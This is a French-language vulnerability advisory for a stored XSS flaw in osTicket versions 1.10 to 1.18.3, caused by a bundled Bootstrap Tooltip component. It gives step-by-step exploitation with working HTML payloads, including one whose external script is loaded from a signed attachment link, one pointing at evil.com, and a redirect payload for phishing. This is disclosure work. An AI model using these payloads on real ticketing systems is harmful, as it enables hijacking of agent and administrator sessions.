
Cross-Site Scripting (XSS) stocké dans osTicket via un composant Bootstrap Tooltip vulnérable
Les versions d'osTicket d'Enhancesoft, de 1.10 à 1.17.7 et de 1.18.0 à 1.18.3, incluent le composant Bootstrap Tooltip 3.3.4, connu pour être vulnérable (CVE-2019-8331), ce qui introduit une vulnérabilité de Cross-Site Scripting (XSS) stocké.
Dans la configuration par défaut d'osTicket, les soumetteurs de tickets (« utilisateurs ») peuvent soumettre des tickets sans authentification préalable, et l'auto-inscription des utilisateurs est ouverte par défaut. Un utilisateur distant peut créer un message de ticket malveillant qui, malgré le passage par le module de désinfection HTML htmlLawed, entraîne l'exécution de JavaScript arbitraire dans le navigateur de tout agent ou administrateur consultant le ticket. Ce problème est aggravé par le fait que les fichiers JavaScript téléversés par les utilisateurs sont servis avec un type Content-Type d'exécution JavaScript (text/javascript), ce qui permet aux navigateurs de les interpréter comme du contenu actif. Alors que les charges utiles inline sont limitées par la façon dont Bootstrap Tooltip 3.3.4 analyse la valeur data-template en un objet jQuery et l'insère dans le DOM via appendTo() ou insertAfter(), l'exécution de code contrôlé par l'attaquant sous forme de scripts externes contourne ces limitations et permet une exploitation plus puissante de la vulnérabilité.
Testées et confirmées vulnérables :
Version affectée :
Ce composant est présent dans le code source d'osTicket depuis le 13 mai 2015, comme le montre :
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cCe commit est associé aux balises de version d'osTicket remontant à la version 1.10, ce qui indique que le composant Bootstrap Tooltip vulnérable a été inclus dans un large éventail de versions d'osTicket sur plusieurs versions majeures. Cette inclusion de longue durée suggère fortement que de nombreuses versions d'osTicket publiées sur plusieurs années sont concernées.
osTicket est un système de tickets open-source largement utilisé qui permet aux utilisateurs finaux de soumettre du contenu HTML riche et des pièces jointes dans le cadre de la création de tickets et des réponses.
osTicket définit trois grandes catégories d'utilisateurs :
Tout contenu HTML soumis par un utilisateur peut ensuite être rendu dans le navigateur d'un agent ou d'un administrateur, ce qui rend les vulnérabilités côté client particulièrement impactantes.
Tout d'abord, authentifiez-vous avec votre compte d'utilisateur final et accédez à la page de création de ticket.
Ensuite, créez un fichier JavaScript (ex. : test.js) contenant une charge utile. Par exemple :
alert(123);
Remarque : par défaut, osTicket autorise les pièces jointes aux tickets sans restriction de type de fichier.

Ensuite, soumettez le ticket en cliquant sur “Create Ticket” sans fournir de “Issue Details”.
L'application nous redirige vers le formulaire de soumission de ticket avec l'erreur “Issue Details is a required field”.
Cette page nous permet de récupérer un lien de téléchargement pour notre fichier JavaScript (test.js) sans soumettre réellement de ticket.


Une fois ce lien obtenu, revenez au formulaire de soumission de ticket.
Cliquez sur l'éditeur HTML et collez cette charge utile, en remplaçant l'attribut src de la balise script par le lien obtenu précédemment.
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>
Voici un exemple de charge utile complète, où le motif [LINK_HERE] a été remplacé par le lien obtenu précédemment :
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
Ensuite, soumettez le ticket.

Lorsqu'un administrateur ou un agent consulte notre ticket malveillant, la charge utile est déclenchée.

Résultat :
Lorsqu'un administrateur ou un agent ouvre le ticket malveillant, la charge utile JavaScript est chargée et exécutée dans le contexte de la session de l'administrateur/de l'agent.
Ceci conduit à un XSS stocké, permettant une compromission complète de la session (par exemple via ezXSS, CSRF pour effectuer des actions d'administrateur ou d'agent).
Si le ticket malveillant est consulté par un agent, le XSS stocké s'exécute dans le contexte de la session authentifiée de l'agent.
Cela permet à un attaquant de prendre efficacement le contrôle de la session de l'agent sans avoir à extraire le cookie de session (par exemple, même dans les scénarios où l'exfiltration du cookie n'est pas pratique et où une plateforme de blind-XSS telle que ezXSS est utilisée). Une fois le XSS exécuté, l'attaquant peut effectuer toute action que l'agent compromis est autorisé à effectuer, par exemple :
Ceci entraîne une compromission totale des capacités opérationnelles de l'agent et de la confidentialité/intégrité du flux de travail de ticketing.
Si le ticket malveillant est consulté par un administrateur, l'impact s'étend à une compromission complète de l'application. L'attaquant peut :
Bien que la configuration par défaut d'osTicket autorise le téléversement de fichiers JavaScript, osTicket peut être configuré dans le panneau d'administration pour qu'un utilisateur final ne soit pas autorisé à téléverser des fichiers JavaScript.
De plus, le panneau de contrôle du personnel utilisé par les agents et les administrateurs applique une Content Security Policy qui empêche l'exécution de JavaScript provenant de domaines tiers.
Prenons la charge utile suivante comme exemple :
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
La capture d'écran ci-dessous montre que le chargement d'un script depuis https://evil.com a été bloqué par la Content Security Policy appliquée sur le panneau de contrôle du personnel.

Cependant, la Content Security Policy implémentée dans l'application autorise le JavaScript inline.

Dans le cas où le téléversement de fichiers JavaScript est bloqué, il est toujours possible pour un attaquant d'effectuer des actions malveillantes. Prenons la charge utile ci-dessous :
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
La charge utile Base64 se décode en :
<script>top.location = "https://example.com";</script>
Cette charge utile permet à un attaquant de rediriger un agent ou un administrateur consultant le ticket malveillant vers un site web arbitraire, par exemple un site de phishing.
Voici le résultat après avoir consulté un ticket contenant la charge utile ci-dessus.
